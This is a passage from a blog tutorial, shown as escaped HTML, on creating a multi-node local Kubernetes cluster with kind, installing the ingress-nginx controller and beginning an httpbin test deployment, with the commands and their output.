style=\"color:#96D0FF\"\u003e k\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m26s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e docker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMMAND\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Up\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:59327\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you will notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ekind.x-k8s.io/v1alpha4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003enodes\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e kubeadmConfigPatches\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind: InitConfiguration\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodeRegistration:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeletExtraArgs:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e node-labels: \"ingress-ready=true\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e extraPortMappings\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e hostPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e443\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e protocol\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eTCP\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003erole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eworker\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith this we have now generated a 4 node cluster where we have a single\ncontrol-plane and three workers. Then we defined some extra configuration on\nthe control-plane:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ekubeadmConfigPatches\u003c/strong\u003e: We want to change the default configuration the\ncluster uses so it will tag the nodes with the \u003ccode\u003eingress-ready\u003c/code\u003e label so the\ncontroller will use them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eextraPortMappings\u003c/strong\u003e: allow the local host to make requests to the Ingress controller over ports 80/443\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enode-labels\u003c/strong\u003e: only allow the ingress controller to run on specific node(s) matching the label selector\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo now we can create the new cluster with the configuration. Save that config\nas \u003ccode\u003ekind_config.yml\u003c/code\u003e and then run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cluster\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kindest/node:v1.25.11\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind_config.yml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis time I have added a few additional flags on the commandline. \u003ccode\u003e--image\u003c/code\u003e\nallows us to use a different version of kubernetes and \u003ccode\u003e--name\u003c/code\u003e allows us to\nmake more than one cluster. So if you did not destroy the first cluster you\nwill see we have two of them now:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ebut \u003ccode\u003ekind\u003c/code\u003e will swap the to the newest cluster by default:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e current-context\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-kind-multinode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e node\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 107s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Ready\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wait\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --for=condition=ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e all\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ContainerCreating\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CLUSTER-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORT\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NodePort\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.228.248\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 80:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ClusterIP\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.180.126\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 443/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UP-TO-DATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AVAILABLE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DESIRED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CURRENT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMPLETIONS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DURATION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 22s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 35s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are ready to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan 